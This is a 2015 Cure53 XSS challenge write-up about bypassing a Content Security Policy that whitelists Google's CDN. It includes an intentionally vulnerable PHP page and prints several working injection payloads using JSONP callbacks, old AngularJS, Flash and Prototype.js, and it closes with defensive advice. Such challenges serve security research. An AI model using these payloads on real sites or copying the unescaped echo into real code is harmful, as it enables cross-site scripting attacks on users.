H5SC Minichallenge 3: "Sh*t, it's CSP!"

Cure53 edited this page Jul 14, 2015 · 7 revisions

URL

The challenge website can be found here: https://html5sec.org/minichallenges/3

Rules

Welcome to yet another XSS challenge. This time, you, the fellow contestant, are confronted with a powerful adversary: The Content Security Policy.

CSP is cool. Even if the websites in scope are injectable, an attacker cannot do no nothing no more. Perfect. Let's throw escaping, encoding and filtering overboard because the magic headers will protect us! Yay :D

But is CSP really that powerful? Will it really be the end of XSS - or is there a way around in many situations just like this one?

Let's see. Your goal is to inject payload that causes an alert(1337) to fire.

Now for the actual rules:

  1. Execute alert(1337) via GET parameter xss on this domain
  2. Only modern browsers that support CSP are accepted (FF38+, Chrome 43+, Edge)
  3. Please don't try to find a file that echoes "alert(1337)" on this domain. Even if you find one, it would not be a valid solution.
  4. There is at least one model solution.
  5. Minimal user interaction is permitted
  6. In the end, the shortest vector will win.

Sources

<?php
header('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
?><!doctype html>
<html>
<head>
<title>Sh*t, it's CSP!</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body class="<?php echo $_GET['xss']; ?>">
     <h1>CSP ruined my Pentest-Report!</h1>
     <h3>Wait, yours too? Let's do something about it :)</h3>
     <hr />
     <p>
        Welcome to yet another XSS challenge. This time, you, the fellow contestant, are confronted with a powerful adversary: The <b>C</b>ontent <b>S</b>ecurity <b>P</b>olicy. 
        <br /><br />
        CSP is cool. Even if the websites in scope are injectable, an attacker cannot do no nothing no more. Perfect. 
        Let's throw escaping, encoding and filtering overboard because the magic headers will protect us! Yay :D
        <br /><br />
        But is CSP really that powerful? Will it really be the end of XSS - or is there a way around in many situations just like this one?
        <br /><br />
        Let's see. Your goal is to inject payload that causes an <code>alert(1337)</code> to fire.
     </p>
     <h3>The Rules</h3>
     <ol>
        <li>Execute <code>alert(1337)</code> via GET parameter <code>xss</code> on this domain</li>
        <li>Only modern browsers that support CSP are accepted (FF38+, Chrome 43+, Edge)</li>
        <li>Please don't try to find a file that echoes "alert(1337)" on this domain. Even if you find one, it would not be a valid solution.
        <li>There is at least one model solution.</li>
        <li>Minimal user interaction is permitted</li>
        <li>In the end, the shortest vector will win.</li>
     </ol>
     <h3>The Winners</h3>
     <ol>
        <li>You?</li>
     </ol>
     <p>
        You solved it? Send an email to <a href="mailto:mario@cure53.de?subject=I defeated CSP!">mario@cure53.de</a>.
     </p>
</body>
<!--
<?php readfile(__FILE__); ?>

Winners

  1. @mage_1868 with unexpected but fully valid 107 bytes! Wow! (9th of July 2015)
  2. @stamparm with another 107 characters (9th of July 2015)
  3. @kinugawamasato, now also with 107 bytes (9th of July 2015)
  4. @en4rab with another 107 bytes (10th of July 2015)
  5. @garethheyes from the Scottish Highlands with 107 bytes (11th of July 2015)
  6. @cbothamy with only but 115 bytes of payload (10th of July 2015)
  7. @vokiel with another 115 bytes (13th of July 2015)
  8. @filedescriptor with sensational 127 bytes (9th of July 2015)
  9. @freddyb with no more than 127 bytes of glory (9th of July 2015)
  10. @benhayak with another 127 bytes (10th of July 2015)
  11. @cgvwzq with 127 bytes (10th of July 2015)
  12. @iwasakinoriaki with 127 bytes (10th of July 2015)
  13. @tyage with competitive 128 bytes (9th of July 2015)
  14. @slekies with another 128 bytes (9th of July 2015)
  15. @fransrosen with 128 bytes (9th of July 2015)
  16. @securitymb with 128 bytes (9th of July 2015)
  17. @bmantra and Alenvers with 128 bytes (10th of July 2015)
  18. @ru_raz0r with another 128 bytes (13th of July 2015)
  19. InfernalQuack with elegant 129 bytes (11th of July 2015)
  20. @kuza55 with 132 bytes (9th of July 2015)
  21. @p_wiaderny with another 132 bytes (11th of July 2015)
  22. @tehjh with a very unorthodox approach using 191 bytes (9th of July 2015)
  23. @avlidienbrunn with very unconventional, user-interaction-free 217 bytes (9th of July 2015)

Submissions

Shown below are the most interesting submissions. Many submissions were almost 100% identical or at least very similar, yet some were clearly sticking out and used remarkable techniques.

Our model solution used a fairly common trick to bypass CSP: The Google-CDN, white-listed by the CSP rules on this page, offers outdated versions of AngularJS. Those outdated versions allow for a CSP bypass based on AngularJS' CSP-mode by simply injecting ng-onclick or similar magic instead of actual event handlers. We thought, that might be the only way to do it. But unexpected things happened - as with every proper XSS challenge :)

Now, in order of the shortest vector length, here are the submitted solutions!

107 Bytes

"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

This one was impressive and surprised us a lot. It's not even necessary to use older AngularJS but simply make use of a different API that is available on the white-listed CDN domain. Valid and beautiful. And the shortest submission so far. It requires no user interaction to work.

127 Bytes

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

This was our intended solution. Only that this variation was even a bit more elegant for using the existing class attribute to turn the container into an AngularJS application and declare event handler and CSP mode right afterwards. It requires a click to work.

156 Bytes

"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>

This piece of true beauty comes from Japan and requires no user interaction. It was also the very first valid solution. As you can see, the Google API serves an insecure Flash file that allows for an ExternalInterface XSS. And since it resides on the same domain that we white-listed... well, you do the math :)

191 Bytes

"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337

This submission is very interesting as it abuses an effect from combining Prototype.js with AngularJS. AngularJS quite successfully prohibits access to window using its integrated sandbox. Yet, Prototype.JS extends functions with the curry property, that upon being called with call() returns a window object - without AngularJS noticing. This means, we can use Prototype.JS to get hands on window and execute almost arbitrary methods of that object.

The white-listed Google-CDN provides both outdated AngularJS versions as well as Prototype.JS - giving us access to what we need to operate on window as we like it. It requires no user interaction to work.

217 Bytes

"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.3/angular.min.js"></script><div ng-app ng-csp id=p ng-click=$event.view.alert(1337)><script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>

This complex beast uses two Google API provided scripts to solve the challenge. No user interaction is required, as the scripts fetch both an older AngularJS and a different API to trigger the necessary click via callback parameter.

Conclusion

Don't use CSP in combination with an insecure CDN. Sadly, the Google API is not strict enough in terms of scripts and data that can be pulled from it. So it classifies as insecure CDN. Don't white-list it. It pretty much removes the effect CSP is supposed to give us. Hell, even insecure Flash content is being served. Not good.